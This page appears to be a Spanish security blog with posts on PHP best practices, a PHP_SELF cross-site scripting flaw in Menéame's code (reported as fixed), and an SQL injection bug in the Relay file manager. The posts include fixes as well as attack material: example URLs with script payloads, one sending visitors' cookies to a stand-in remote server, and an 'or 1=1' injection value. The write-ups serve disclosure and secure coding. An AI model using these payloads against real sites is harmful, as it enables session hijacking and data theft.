Categories
PHP Seguridad

Mejores prácticas en PHP

PHP best practices, the dos and don'ts, es una presentación muy interesante acerca de las cosas que se deben tener en cuenta al desarrollar aplicaciones Web con PHP.

La presentación está dividida en tres partes:

Nota: para ver la presentación necesitan un navegador que no sea IE, caso contrario verán el siguiente mensaje:

IE is not supported - please use Firefox, Safari, Konqueror or just about anything else.

Categories
PHP Seguridad Varios XSS

¿Menéame, vulnerable a ataques XSS?

La lectura del libro Writing Secure Code, últimamente me ha motivado a revisar código de distintas aplicaciones en busca de algunas fallas. Es así que mientras miraba el código fuente de menéame (a.k.a. clon de Digg), ví -valga la redundacia- que éste era suceptible a ataques XSS, posiblemente en los siguientes archivos:

  • www\blogscloud.php
  • www\cloud.php
  • www\comments_rss2.php ¿?
  • www\rss2.php ¿?
  • www\topstories.php
  • www\topusers-big.php
  • www\topusers.php
  • www\libs\html1.php ¿?
  • www\backend\comment_edit.php ¿?

Actualización: El error ha sido solucionado minutos después de haber publicado el bug en http://meneame.wikispaces.com/Bugs, es por eso que me gusta el software libre!.

El error -un viejo conocido de otras aplicaciones- consiste en que no se valida de manera correcta el uso de la variable predefinida PHP_SELF, así por ejemplo en la línea 80 de cloud.php tenemos algo como esto:

php:

echo '<li><a href="'.$_SERVER['PHP_SELF'].'?range='.$i.'">' .$range_names[$i]. '</a></li>'."\n";

A simple vista pareciera que la línea no contiene ningún error, pero el pequeño detalle es que el contenido de PHP_SELF puede ser modificado por el usuario.

'PHP_SELF'

El nombre de archivo del script ejecutándose actualmente, relativo a la raíz de documentos. Por ejemplo, $_SERVER['PHP_SELF'] en un script en la dirección http://example.com/test.php/foo.bar sería /test.php/foo.bar. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Si PHP está siendo ejecutado como un procesador de línea de comandos, esta variable contiene el nombre del script a partir de PHP 4.3.0. Anteriormente no estaba disponible.

Fuente: Variables Predefinidas

Ejemplos

Si armamos la siguiente URL, al cargar la página debería aparecer un mensaje mostrando las cookies relacionadas al sitio:

html:

<!-- URL -->
http://meneame.net/cloud.php/"><script>alert(document.cookie)</script><foo"

<!-- El código HTML enviado al cliente -->
<li><a href="/cloud.php/"><script>alert(document.cookie)</script><foo"?range=1">última semana</a></li>

Si esta vez se arma una URL como la siguiente, entonces lo que puede pasar es que las cookies sean enviadas a un servidor remoto, probablemente para fines no muy éticos.

html:

http://meneame.net/cloud.php/"><script>document.location='http://www.servidor-remoto.net?cookies='+document.cookie</script><foo"

Solución

Usar otra variable predefinida (¿REQUEST_URI?), la función htmlentities para escapar el contenido de PHP_SELF o borrar los caracteres peligrosos de éste.

Actualización: Según la documentación, SCRIPT_NAME debe usarse para referenciar a una misma página.

SCRIPT_NAME

Contiene la ruta del script actual. Ésta es útil para páginas que necesitan apuntar a ellas mismas. La constante __FILE__ contiene la ruta completa y nombre del archivo actual (es decir, incluido).

Fuente: Variables Predefinidas

Notas finales

Debemos tener cuidado en validar correctamente los datos que son enviados y/o aquellos que son modificables por el usuario.

Cabe aclarar que ésta entrada no es ninguna represalia por el hecho que tildaron de spammer -con justa razón- a mi amigo Braulio en uno de sus envíos a Menéame. 😀

Links recomendados

Categories
AJAX PHP Seguridad Varios

Problema de seguridad en Relay

Hoy, mientras intentaba personalizar Relay -que es un gestor de archivos basado en Ajax- para hacer que funcione como un navegador de código fuente, encontré un bug en la función getFileInfo (relay.php) que permite hacer SQL Injection.

La porción donde se encuentra la falla es: (~ línea 763)

php:

$fileid=mysql_escape_string($fileid);
$query = "select * fr0m $GLOBALS[tablePrefix]filesystem where id=$fileid";

El problema radica en que mysql_escape_string o mysql_real_escape_string sólo escapan los caracteres \x00, \n, \r, \, ', " y \x1a.; por tanto, si $fileid tendría el valor 0 or 1=1 u otra sentencia que no incluya los caracteres mencionados, ya se imaginarán que puede pasar.

Una propuesta para solucionar este problema es hacer un cast explícito de $fileid o encerrar entre comillas el valor de este parámetro en la consulta SQL (digo esto porque se hace uso de mysql_escape_string)

php:

$fileid=intval($fileid);
$query = "select * fr0m $GLOBALS[tablePrefix]filesystem where id=$fileid";

// o   
$fileid=mysql_real_escape_string($fileid);
$query = "select * fr0m $GLOBALS[tablePrefix]filesystem where id='$fileid'";

Si están utilizando Relay, es recomendable que corrijan este error, para evitar molestias por pérdida de datos :-P.